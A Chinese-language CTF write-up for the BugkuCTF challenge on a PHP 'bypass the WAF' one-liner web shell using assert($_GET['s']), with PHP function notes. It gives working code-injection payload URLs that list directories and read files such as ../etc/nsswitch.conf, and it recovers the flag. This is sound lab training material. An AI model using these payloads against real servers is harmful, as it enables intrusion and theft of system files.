BugkuCTF:过狗一句话(web)

题目描述:

                               BugkuCTF:过狗一句话(web)_第1张图片

上面的php进行格式化之后:

其整体的意思是:检查 get 得到的断言是否成立(用来判断一个表达式是否成立),参数会被执行

$poc_2和_GET['s']都会被解析成相应的函数,之后再执行

assert($_GET['s'])
  • 看看大佬的博客,构造payload,爆出当前目录下的文件名:
    http://123.206.87.240:8010/?s=print_r(scandir(%27./%27))
    
    %27是单引号 '  的url编码
  • 读出来array数组的值:

    Array ( [0] => . [1] => .. [2] => 666.php [3] => 777.php [4] => a.php [5] => aa.php [6] => asd.php [7] => b.php [8] => flag_aaa.txt [9] => flag_sm1skla1.txt [10] => index.php [11] => newfile.txt [12] => readme.txt [13] => sy.php [14] => sy1.php [15] => sy2.php [16] => t1.php [17] => test.php [18] => test.txt [19] => testfile.txt [20] => webshell.php )
  • 一个一个试:
    最后这个url得到flag
    http://123.206.87.240:8010/flag_sm1skla1.txt

     

  • 试一下读取上级目录
    http://123.206.87.240:8010/?s=print_r(scandir(%27../%27))

    也可以读出来,权限没有限制。
    读取当前目录,返回结果跟 './ ' 一样,看来当前的目录名为web:
    http://123.206.87.240:8010/?s=print_r(scandir(%27../web%27))

    etc目录下的文件:

    看了一圈发现,只要去直接访问资源,它就会有权限限制,而获取目录结构,是允许的。
     
  • 当然可以构造其他的payload去获取想要的资源:
     
    http://123.206.87.240:8010/?=print_r(readfile('../etc/nsswitch.conf'))
    
    http://123.206.87.240:8010/?s=print_r(fopen('../etc/nsswitch.conf','r'))
    
    在读取host文件时可以读出来,不知道nsswitch.conf是没权限还是因为其没内容,直接就显示空白,但访问成功了。

 

 

 

知识点

  • explode(separator,string,limit)        把字符串打散为数组。
    separator 必需。规定在哪里分割字符串。
    string 必需。要分割的字符串。
    limit

    可选。规定所返回的数组元素的数目。

    大于 0 - 返回包含最多 limit 个元素的数组

    小于 0 - 返回包含除了最后的 -limit 个元素以外的所有元素的数组

    0 - 返回包含一个元素的数组

  • eval函数中参数是字符,如:
        eval('echo 1;');
    assert函数中参数为表达式 (或者为函数),如:
        assert(phpinfo())
        直接传递普通代码是无法执行的,如:assert(‘echo 1;’);
  • scandir()
    $dir = "/images/";
    $a = scandir($dir);        // 以升序排序 - 默认
    $b = scandir($dir,1);    // 以降序排序
  • 一个过狗的总结
    https://www.jianshu.com/p/0510ce81566d

 

你可能感兴趣的:(web安全)